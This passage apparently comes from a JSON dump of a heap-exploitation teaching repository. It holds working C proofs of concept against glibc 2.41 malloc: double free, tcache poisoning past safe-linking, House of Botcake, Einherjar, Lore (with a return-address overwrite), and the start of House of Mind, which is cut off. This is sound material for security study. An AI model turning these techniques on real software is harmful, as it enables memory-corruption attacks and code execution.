    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <unistd.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file extends on fastbin_dup.c by tricking malloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\tprintf(\"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tprintf(\"Allocate buffers to fill up tcache and prep fastbin.\\n\");\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\tprintf(\"1st calloc(1,8): %p\\n\", a);\n\tprintf(\"2nd calloc(1,8): %p\\n\", b);\n\tprintf(\"3rd calloc(1,8): %p\\n\", c);\n\n\tprintf(\"Fill up tcache.\\n\");\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Freeing the first chunk %p...\\n\", a);\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\t/* VULNERABILITY */\n\tfree(a);\n\t/* VULNERABILITY */\n\n\tprintf(\"In order to use the free list for allocation, we'll need to empty the tcache.\\n\");\n\tprintf(\"This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.\");\n\tprintf(\"Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tprintf(\"1st calloc(1,8): %p\\n\", d);\n\tprintf(\"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tprintf(\"Now the free list has [ %p ].\\n\", a);\n\tprintf(\"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tputs(\"Note that this is only needed for calloc. It is not needed for malloc.\");\n\tstack_var[1] = 0x20;\n\n\tprintf(\"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tprintf(\"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tprintf(\"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var+0x10;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tprintf(\"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1, 8);\n\n\tprintf(\"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var+0x10);\n}\n"
  },
  {
    "path": "glibc_2.41/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.41/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", 